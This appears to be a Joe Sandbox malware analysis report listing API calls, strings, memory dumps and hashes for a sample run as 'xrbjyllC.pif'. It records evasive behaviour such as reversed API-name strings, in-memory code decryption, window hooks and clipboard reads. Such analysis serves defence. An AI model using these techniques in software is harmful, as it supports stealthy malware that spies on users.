Part of subcall function 031B8274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 031B82C7
Part of subcall function 031B8274: GetProcAddress.KERNEL32(?,?), ref: 031B82D9

FlushInstructionCache.KERNEL32(?,?,?,00000000,Kernel32,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,031B83C2), ref: 031B83A4

Strings

FlushInstructionCache, xrefs: 031B8351
Kernel32, xrefs: 031B8383

Memory Dump Source

Source File: 0000000A.00000002.1831975910.00000000031A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a1000_Cllyjbrx.jbxd

Similarity

API ID: AddressProc$CacheFlushHandleInstructionModule
String ID: FlushInstructionCache$Kernel32
API String ID: 1384192982-184458249
Opcode ID: f9c4ab92d7e4bd928fbb2f7fb6a8ded8d769fbf6ea824ebfd71b25c74bac2bef
Instruction ID: 32040836f43111c089e4ca455c5f11f93103eafebfc5e3e7df9e415a033b7343
Opcode Fuzzy Hash: f9c4ab92d7e4bd928fbb2f7fb6a8ded8d769fbf6ea824ebfd71b25c74bac2bef
Instruction Fuzzy Hash: B9014B79208788BFDB10EFA9EC51F9E77ACE70CA00F519060F904DA651DB70AD008A24

Function 031B81CC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 031B8274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 031B82C7
Part of subcall function 031B8274: GetProcAddress.KERNEL32(?,?), ref: 031B82D9

GetModuleHandleA.KERNELBASE(?), ref: 031B821E

Strings

AeldnaHeludoMteG, xrefs: 031B81E5
KernelBASE, xrefs: 031B8205

Memory Dump Source

Source File: 0000000A.00000002.1831975910.00000000031A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a1000_Cllyjbrx.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AeldnaHeludoMteG$KernelBASE
API String ID: 667068680-1952140341
Opcode ID: eef721b4a24301faee66231290fb8fb8d7a912189e84290a71b623e46dbf27a4
Instruction ID: 7c1ccbc37b38f8f7f0942aef902dcfc42f94d75940a78262b84a3ec521769093
Opcode Fuzzy Hash: eef721b4a24301faee66231290fb8fb8d7a912189e84290a71b623e46dbf27a4
Instruction Fuzzy Hash: 4AF04978608B44AFDB11EBA9EC55D99B7FCEB4EA01B5144A0E8009A755DB70AE00C624

Analysis Process: xrbjyllC.pifPID: 4108, Parent PID: 1440COMMON

Execution Graph

Execution Coverage:	8.9%
Dynamic/Decrypted Code Coverage:	60.3%
Signature Coverage:	0%
Total number of Nodes:	431
Total number of Limit Nodes:	45

Executed Functions

Function 2AFE0C30 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 298
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 2AFE0FC6

Strings

Q, xrefs: 2AFE0F3D

Memory Dump Source

Source File: 0000000B.00000002.2044111260.000000002AFE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2AFE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2afe0000_xrbjyllC.jbxd

Similarity

API ID: HandleModule
String ID: Q
API String ID: 4139908857-3463352047
Opcode ID: a3b976963ed77dd6b7fc65be52ab0d72c8ee5e56c5f9fdbda49c092aefd92d30
Instruction ID: 51cf0efe1861a46b432e7e97673cf670d33676ebc8acc45e9db9d97db9ef2821
Opcode Fuzzy Hash: a3b976963ed77dd6b7fc65be52ab0d72c8ee5e56c5f9fdbda49c092aefd92d30
Instruction Fuzzy Hash: CAB1AC70A007459FCB04EF79D48096EBBF6FF88300B14896AD84ADB756DB78E945CB90

Function 004019F0 Relevance: 146.0, APIs: 34, Strings: 49, Instructions: 747comprocessCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 004019FD
_getenv.LIBCMT ref: 00401ABA
GetCurrentProcessId.KERNEL32 ref: 00401ACD
CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00401AD6
Module32First.KERNEL32 ref: 00401C48
CloseHandle.KERNEL32(00000000,?,?,00000008,00000000), ref: 00401C9D
Module32Next.KERNEL32(00000000,?), ref: 00401D02
Module32Next.KERNEL32(00000000,?), ref: 00401DB6
CloseHandle.KERNEL32(00000000), ref: 00401DC4
GetModuleHandleA.KERNEL32(00000000), ref: 00401DCB
FindResourceA.KERNEL32(00000000,00000000,00000008), ref: 00401E90
LoadResource.KERNEL32(00000000,00000000), ref: 00401E9E
LockResource.KERNEL32(00000000), ref: 00401EA7
SizeofResource.KERNEL32(00000000,00000000), ref: 00401EB3
_malloc.LIBCMT ref: 00401EBA
_memset.LIBCMT ref: 00401EDD
SizeofResource.KERNEL32(00000000,?), ref: 00401F02

Strings

4, xrefs: 00401B64
o, xrefs: 00401B8D
x, xrefs: 0040214A
x, xrefs: 00401B78
___, xrefs: 0040227D
", xrefs: 00401B0F
:, xrefs: 00401B28
v, xrefs: 0040212C
4, xrefs: 00402136
!, xrefs: 0040201A
W, xrefs: 00401B14
v, xrefs: 0040206A
[, xrefs: 00402047
%, xrefs: 004020FA
8, xrefs: 00401BA9
o, xrefs: 00402159
., xrefs: 00401B0A
', xrefs: 00401AF6
U, xrefs: 004020F5
0, xrefs: 00401BBD
D, xrefs: 00401DFB
W, xrefs: 004020E6
{, xrefs: 0040211D
v, xrefs: 00401B5A
), xrefs: 0040202E
h, xrefs: 00401A6F
_._, xrefs: 00402257
., xrefs: 0040201F
[, xrefs: 00401B37
{, xrefs: 00401B4B
*, xrefs: 00401A1F
W, xrefs: 00402033
6, xrefs: 004020C5
!, xrefs: 00401B1E
', xrefs: 00402006
*, xrefs: 004020E1
o, xrefs: 00402097
x, xrefs: 00402088
E, xrefs: 00401E0F
W, xrefs: 00401B23
{, xrefs: 00401E3C
V, xrefs: 00401E19
x, xrefs: 00401E69
5, xrefs: 00402109
v, xrefs: 00401E4B
{, xrefs: 0040205B
4, xrefs: 00402074
!, xrefs: 004020CF
V, xrefs: 00402038

Memory Dump Source

Source File: 0000000B.00000001.1826572703.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000001.1826572703.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000001.1826572703.0000000000445000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_1_400000_xrbjyllC.jbxd

Yara matches

Similarity

API ID: Resource$HandleModule32$CloseNextSizeof$CreateCurrentFindFirstInitializeLoadLockModuleProcessSnapshotToolhelp32_getenv_malloc_memset
String ID: !$!$!$"$%$'$'$)$*$*$.$.$0$4$4$4$5$6$8$:$D$E$U$V$V$W$W$W$W$[$[$_._$___$h$o$o$o$v$v$v$v$x$x$x$x${${${${
API String ID: 1430744539-2962942730
Opcode ID: 5b8530bddefb045e1b9ab2db406c8ab4da3f0b02880ef73395902e6a9a04ea37
Instruction ID: 7b7814addfdf4b3cbdaef5ede101091f5fb3e94df766619d88950efa0d528cfd
Opcode Fuzzy Hash: 5b8530bddefb045e1b9ab2db406c8ab4da3f0b02880ef73395902e6a9a04ea37
Instruction Fuzzy Hash: B3628C2100C7C19EC321DB388888A5FBFE55FA6328F484A5DF1E55B2E2C7799509C76B

Function 0040CBF7 Relevance: 21.1, APIs: 14, Instructions: 78COMMON

Download Yara Rule

APIs

_fast_error_exit.LIBCMT ref: 0040CC41
__mtinit.LIBCMT ref: 0040CC47
_fast_error_exit.LIBCMT ref: 0040CC52
__RTC_Initialize.LIBCMT ref: 0040CC58
__ioinit.LIBCMT ref: 0040CC61
__amsg_exit.LIBCMT ref: 0040CC6C
GetCommandLineA.KERNEL32 ref: 0040CC72
___crtGetEnvironmentStringsA.LIBCMT ref: 0040CC7D
__setargv.LIBCMT ref: 0040CC87
__amsg_exit.LIBCMT ref: 0040CC92
__setenvp.LIBCMT ref: 0040CC98
__amsg_exit.LIBCMT ref: 0040CCA3
__cinit.LIBCMT ref: 0040CCAB
__amsg_exit.LIBCMT ref: 0040CCB6

Memory Dump Source

Source File: 0000000B.00000001.1826572703.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000001.1826572703.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000001.1826572703.0000000000445000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_1_400000_xrbjyllC.jbxd

Yara matches

Similarity

API ID: __amsg_exit$_fast_error_exit$CommandEnvironmentInitializeLineStrings___crt__cinit__ioinit__mtinit__setargv__setenvp
String ID:
API String ID: 2598563909-0
Opcode ID: 2d668fad8e0b173589b4563f5a4f7b2cb6976b6486fb72b9956ee4840b6c9fb0
Instruction ID: 67c2b95978a5c3de314e94e7eee78366e8702871eb07600154e5c77a41a3d030
Opcode Fuzzy Hash: 2d668fad8e0b173589b4563f5a4f7b2cb6976b6486fb72b9956ee4840b6c9fb0
Instruction Fuzzy Hash: 5321E770A05304DAFB207BB3E98676932B46F00309F00453FE508B62D2EB7C89918A5C

Function 004018F0 Relevance: 6.3, APIs: 5, Instructions: 77stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 00401906
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000001), ref: 0040192F
GetLastError.KERNEL32 ref: 00401940
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 00401958
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 00401980

Memory Dump Source

Source File: 0000000B.00000001.1826572703.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000001.1826572703.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000001.1826572703.0000000000445000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_1_400000_xrbjyllC.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLastlstrlen
String ID:
API String ID: 3322701435-0
Opcode ID: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
Instruction ID: 001f8acd6346668203df0e37acbb0982e2c141f20d3592a2a78c171e7710dcce
Opcode Fuzzy Hash: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
Instruction Fuzzy Hash: 4011C4756003247BD3309B15CC88F677F6CEB86BA9F008169FD85AB291C635AC04C6F8

Function 2AFE5742 Relevance: 6.1, APIs: 4, Instructions: 132
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 2AFE57CE
GetCurrentThread.KERNEL32 ref: 2AFE580B
GetCurrentProcess.KERNEL32 ref: 2AFE5848
GetCurrentThreadId.KERNEL32 ref: 2AFE58A1

Memory Dump Source

Source File: 0000000B.00000002.2044111260.000000002AFE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2AFE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2afe0000_xrbjyllC.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: dc8c464fc02b001dee373a3e08f22c43c15f9b61557ab6d5df33d76f67a27fc0
Instruction ID: 1f380c47c72f1b27e76c8b839daa88599ccb3de040190d38e58d3215b9de7f95
Opcode Fuzzy Hash: dc8c464fc02b001dee373a3e08f22c43c15f9b61557ab6d5df33d76f67a27fc0
Instruction Fuzzy Hash: 0C5168B09013498FDB44DFA9C688BDEBFF1EF89300F248559D459A72A0D778A980CF65

Function 2AFE5750 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 2AFE57CE
GetCurrentThread.KERNEL32 ref: 2AFE580B
GetCurrentProcess.KERNEL32 ref: 2AFE5848
GetCurrentThreadId.KERNEL32 ref: 2AFE58A1

Memory Dump Source

Source File: 0000000B.00000002.2044111260.000000002AFE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2AFE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2afe0000_xrbjyllC.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 9fd00cf4669e5a62901a32fc4707d19b35ecb56ffd9bb919f5caf9e88da555c5
Instruction ID: 4907449664c7050fbf875ad56563b8f3d244933af39552ad6c1f59c3342bbb66
Opcode Fuzzy Hash: 9fd00cf4669e5a62901a32fc4707d19b35ecb56ffd9bb919f5caf9e88da555c5
Instruction Fuzzy Hash: 585147B09007498FDB04DFA9D688BDEBBF1AB88310F208569D419A73A0D7789980CF65

Function 0040AF66 Relevance: 6.0, APIs: 4, Instructions: 34COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0040AF80

Part of subcall function 0040B84D: __FF_MSGBANNER.LIBCMT ref: 0040B870
Part of subcall function 0040B84D: __NMSG_WRITE.LIBCMT ref: 0040B877
Part of subcall function 0040B84D: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018,00421240,0000000C,0040D6FB), ref: 0040B8C4

std::bad_alloc::bad_alloc.LIBCMT ref: 0040AFA3

Part of subcall function 0040AEFC: std::exception::exception.LIBCMT ref: 0040AF08

std::bad_exception::bad_exception.LIBCMT ref: 0040AFB7
__CxxThrowException@8.LIBCMT ref: 0040AFC5

Memory Dump Source

Source File: 0000000B.00000001.1826572703.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000001.1826572703.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000001.1826572703.0000000000445000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_1_400000_xrbjyllC.jbxd

Yara matches

Similarity

API ID: AllocateException@8HeapThrow_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exceptionstd::exception::exception
String ID:
API String ID: 1411284514-0
Opcode ID: 2a036851afa6ddc1d7df3bddf1a8d8bff45cbcbf2885913663491285a515d732
Instruction ID: 8b9ae61c6da4be1dff3a05d3864a1109474d1d20ea1a05e38be312cad591667e
Opcode Fuzzy Hash: 2a036851afa6ddc1d7df3bddf1a8d8bff45cbcbf2885913663491285a515d732
Instruction Fuzzy Hash: 67F0BE21A0030662CA15BB61EC06D8E3B688F4031CB6000BFE811761D2CFBCEA55859E

Function 2AB1AD90 Relevance: 1.6, APIs: 1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2041127198.000000002AB10000.00000040.00000800.00020000.00000000.sdmp, Offset: 2AB10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2ab10000_xrbjyllC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5755a27f0cbfea9f4ca205cbd6b8c9c3cfcc4bb4ca8234e63447f1a2917c6d75
Instruction ID: e380a79efc5c180d291a09bb32ee4850473cab8dafabf28a513f830f55e40af3
Opcode Fuzzy Hash: 5755a27f0cbfea9f4ca205cbd6b8c9c3cfcc4bb4ca8234e63447f1a2917c6d75
Instruction Fuzzy Hash: 9F414831D043958FCB01DF79D4946DEBFF1AF8A310F1486AAD444E7291DB389845CBA1

Function 2AB1AF40 Relevance: 1.6, APIs: 1, Instructions: 135COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32 ref: 2AB1AEDF

Memory Dump Source

Source File: 0000000B.00000002.2041127198.000000002AB10000.00000040.00000800.00020000.00000000.sdmp, Offset: 2AB10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2ab10000_xrbjyllC.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: eaa1bfab2b1bd5e723416e3744a7875c32bb967ad26355cbcec62f7f14b6a1b5
Instruction ID: e2bca44f647ea09ce0fbd4e5bf39527ebb02e519f1b0b2d8d4f0b7b83fb9b723
Opcode Fuzzy Hash: eaa1bfab2b1bd5e723416e3744a7875c32bb967ad26355cbcec62f7f14b6a1b5
Instruction Fuzzy Hash: D851BD31600205CFC704EF29D488A9ABBF2EF89314F1185A9E405EB371DB34EC84DBA0

Function 2AFE1A86 Relevance: 1.6, APIs: 1, Instructions: 115COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 2AFE1BA2

Memory Dump Source

Source File: 0000000B.00000002.2044111260.000000002AFE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2AFE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2afe0000_xrbjyllC.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 011fa03c1e21589daf2a9783d970412af9daa6890a1c913a2997754b8e496a54
Instruction ID: 327c49ec9890f5c5a27798d3b88aaafff225e9667d33723ab318e688da3948d6
Opcode Fuzzy Hash: 011fa03c1e21589daf2a9783d970412af9daa6890a1c913a2997754b8e496a54
Instruction Fuzzy Hash: F251D3B1D00349DFDB14CFAAD994ADEBFB6BF48314F24822AE818AB210D7759845CF54

Function 2AFE1A90 Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 2AFE1BA2

Memory Dump Source

Source File: 0000000B.00000002.2044111260.000000002AFE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2AFE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2afe0000_xrbjyllC.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 5123aa86ff3f7fd7ee1784a49873574845f4d8cb5028e6b73dd7d8d2e906f89b
Instruction ID: c45e737e0cae1645e3fd96b89970c6043537ee90ae44433fd8c494769410d187
Opcode Fuzzy Hash: 5123aa86ff3f7fd7ee1784a49873574845f4d8cb5028e6b73dd7d8d2e906f89b
Instruction Fuzzy Hash: B241C2B1D003099FDB14DF9AC984ADEBBB6BF48354F20822AE818AB210D7749845CF94

Function 2AFE555C Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 2AFE68E9

Memory Dump Source

Source File: 0000000B.00000002.2044111260.000000002AFE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2AFE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2afe0000_xrbjyllC.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 7f861be4e2394756e8ba3fa21e62092bb6c5ee81e993c139adc8d971a1a694f5
Instruction ID: aa01d4afecda11b4fdf00e8133f0b550c94bcf7221b727c95ef303f293be8b5f
Opcode Fuzzy Hash: 7f861be4e2394756e8ba3fa21e62092bb6c5ee81e993c139adc8d971a1a694f5
Instruction Fuzzy Hash: 5A4149B5900349DFCB44DF99C988A9ABBF5FF88314F24C459D518AB321D778A941CFA0

Function 2AFE7565 Relevance: 1.6, APIs: 1, Instructions: 74comclipboardCOMMON

Download Yara Rule

APIs

OleGetClipboard.OLE32(?), ref: 2AFE75F8

Memory Dump Source

Source File: 0000000B.00000002.2044111260.000000002AFE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2AFE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2afe0000_xrbjyllC.jbxd

Similarity

API ID: Clipboard
String ID:
API String ID: 220874293-0
Opcode ID: 0a277b3f5c2f5d5b4164a0809c96bf30dfc77440d4010f65d4858b6875d37747
Instruction ID: 22478e834c80875d638b4590b147bf36bd3d5b6f4f72c7c18fa74e42a273b537
Opcode Fuzzy Hash: 0a277b3f5c2f5d5b4164a0809c96bf30dfc77440d4010f65d4858b6875d37747
Instruction Fuzzy Hash: 903105B0D01348EFDB14DF99CA94BCEBBF5AF48314F208069E508AB254D7746945CF55

Function 2AFE7570 Relevance: 1.6, APIs: 1, Instructions: 71comclipboardCOMMON

Download Yara Rule

APIs

OleGetClipboard.OLE32(?), ref: 2AFE75F8

Memory Dump Source

Source File: 0000000B.00000002.2044111260.000000002AFE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2AFE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2afe0000_xrbjyllC.jbxd

Similarity

API ID: Clipboard
String ID:
API String ID: 220874293-0
Opcode ID: f5f4fb0291ab004a3139e27be87dc02cc1f1530727dd47bb5c627ac4296945b1
Instruction ID: df843c81951e9dc0345c8b20f8bdc952bc69e3f25ae2128782b90ac720d7e196
Opcode Fuzzy Hash: f5f4fb0291ab004a3139e27be87dc02cc1f1530727dd47bb5c627ac4296945b1
Instruction Fuzzy Hash: 2431F1B0D01348EFDB14DF99CA94BCEBBF5AF48314F208069E508AB294DB786945CF95

Function 2AFE5990 Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 2AFE5A1F

Memory Dump Source

Source File: 0000000B.00000002.2044111260.000000002AFE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2AFE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2afe0000_xrbjyllC.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: ba403e6cfbf3d82431fab521b7c9e9fae89d2c52f6575a0cb70faa6d43359024
Instruction ID: e92caf769b5b5732fdcc98b364697b25943a76693929afbcf1a892c5cf234d0d
Opcode Fuzzy Hash: ba403e6cfbf3d82431fab521b7c9e9fae89d2c52f6575a0cb70faa6d43359024
Instruction Fuzzy Hash: 0E2116B5900258DFDB10CFA9D984ADEBFF8EF48310F14815AE958A7310C378A940CF65

Function 2AFE5998 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 2AFE5A1F

Memory Dump Source

Source File: 0000000B.00000002.2044111260.000000002AFE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2AFE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2afe0000_xrbjyllC.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: aa858ae446b3f2dbaa38bac1c8e1b834b55b7b6a47dd44f7f7ed62fd8e99b6bf
Instruction ID: a8e240910bfa57f84a590517a284a8dcdc26a3e60ae8139d442e64e93856bb1b
Opcode Fuzzy Hash: aa858ae446b3f2dbaa38bac1c8e1b834b55b7b6a47dd44f7f7ed62fd8e99b6bf
Instruction Fuzzy Hash: FC21F5B59003089FDB10CF9AD584ADEFFF4EB48320F10801AE918A3310D378A950CFA4

Function 2AFE8F59 Relevance: 1.6, APIs: 1, Instructions: 59COMMON

Download Yara Rule

APIs

SetWindowsHookExA.USER32(?,00000000,?,?), ref: 2AFE8FDB

Memory Dump Source

Source File: 0000000B.00000002.2044111260.000000002AFE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2AFE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2afe0000_xrbjyllC.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: 51c99f5dea51766071cfb98a0e7c6b197a98b1bceb39afb56c6e104bec0f800b
Instruction ID: 57e922f8c06780dc955385b5886112350b4ea820897cbd8d7cccb06a8d3d2702
Opcode Fuzzy Hash: 51c99f5dea51766071cfb98a0e7c6b197a98b1bceb39afb56c6e104bec0f800b
Instruction Fuzzy Hash: C42138B1D002499FCB04DF99D944BEEFBF5EF88320F108429E559A7250C778A940CFA5

Function 2A492629 Relevance: 1.6, APIs: 1, Instructions: 59fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(00000000), ref: 2A4926A0

Memory Dump Source

Source File: 0000000B.00000002.2040730858.000000002A490000.00000040.00000800.00020000.00000000.sdmp, Offset: 2A490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a490000_xrbjyllC.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: b6398ff36d4b5e312d9c60f17d25edd3fdd01a0fbdc29552984ce83bf6f07a75
Instruction ID: 7d97795a51332b5c37eaf1d4adb596c31434f956b4bed6220fd088160d8ef779
Opcode Fuzzy Hash: b6398ff36d4b5e312d9c60f17d25edd3fdd01a0fbdc29552984ce83bf6f07a75
Instruction Fuzzy Hash: EF2124B1C0065A9FCB14DFAAD5447EEFFF0AF48320F11816AD858A7650D738A950CFA4

Function 2AFE8F60 Relevance: 1.6, APIs: 1, Instructions: 57COMMON

Download Yara Rule

APIs

SetWindowsHookExA.USER32(?,00000000,?,?), ref: 2AFE8FDB

Memory Dump Source

Source File: 0000000B.00000002.2044111260.000000002AFE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2AFE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2afe0000_xrbjyllC.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: f6e2ea979c0aef89e9b9c0ea10a725108ef7daf8f975061130be4aa2248af9c6
Instruction ID: 043d4f79e18e402c4a4fbd7090077586d50e4671e4a64d68514fd07d0c8cd1e9
Opcode Fuzzy Hash: f6e2ea979c0aef89e9b9c0ea10a725108ef7daf8f975061130be4aa2248af9c6
Instruction Fuzzy Hash: 6B2136B1D002499FCB04DF9AD944BEEFBF5EF88320F10842AE459A7250C778A940CFA5

Function 24F193F0 Relevance: 1.6, APIs: 1, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 24F19464

Memory Dump Source

Source File: 0000000B.00000002.2036287383.0000000024F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 24F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_24f10000_xrbjyllC.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: ddd62ec90c4838b84d1bdf5f9ad0793f49b26070bdc6aade9e84b8bfe2cdc078
Instruction ID: 891bb9dff18b0b3a728b6110cfb3743b258bcf26de5a8efc4b1c10ed7f2e96c3
Opcode Fuzzy Hash: ddd62ec90c4838b84d1bdf5f9ad0793f49b26070bdc6aade9e84b8bfe2cdc078
Instruction Fuzzy Hash: 6C11F4B19002499FDB10DFAAC580AEEFBF5EF88320F10842AD459A7250C774A945CFA5

Function 2A492630 Relevance: 1.6, APIs: 1, Instructions: 56fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(00000000), ref: 2A4926A0

Memory Dump Source

Source File: 0000000B.00000002.2040730858.000000002A490000.00000040.00000800.00020000.00000000.sdmp, Offset: 2A490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a490000_xrbjyllC.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 055a9683a86d48371b4e9cc45f9e94f0b2e9615a04402d5baf58787d18092acb
Instruction ID: 9d315b0d48fef97a78ebc4242e10ea7e2b7b04f6e77a787facea40876e219218
Opcode Fuzzy Hash: 055a9683a86d48371b4e9cc45f9e94f0b2e9615a04402d5baf58787d18092acb
Instruction Fuzzy Hash: 941133B1C0065A9FCB10DF9AD540BAEFFF4BF48320F11816AD858A7650D738A950CFA5

Function 2AB1AE78 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32 ref: 2AB1AEDF

Memory Dump Source

Source File: 0000000B.00000002.2041127198.000000002AB10000.00000040.00000800.00020000.00000000.sdmp, Offset: 2AB10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2ab10000_xrbjyllC.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 7fc2d0bd080092e5bfe31aeb4470892877114663c06cfc83ca2e03a7f6d5b61a
Instruction ID: 1ba939ad1fab856ad7c7400abc1c6c175cbd90113d8128825287c9ce43f849c3
Opcode Fuzzy Hash: 7fc2d0bd080092e5bfe31aeb4470892877114663c06cfc83ca2e03a7f6d5b61a
Instruction Fuzzy Hash: BA11F3B2C006599FCB10DF9AC544BDEFBF4EF48320F15816AD818A7250D778A940CFA5

Function 2AFE0F5A Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 2AFE0FC6

Memory Dump Source

Source File: 0000000B.00000002.2044111260.000000002AFE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2AFE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2afe0000_xrbjyllC.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 0a59aad8cb3a48aee0d0e5ab0dc244a32fcc39d5a498bebe1ce786c4a44174bf
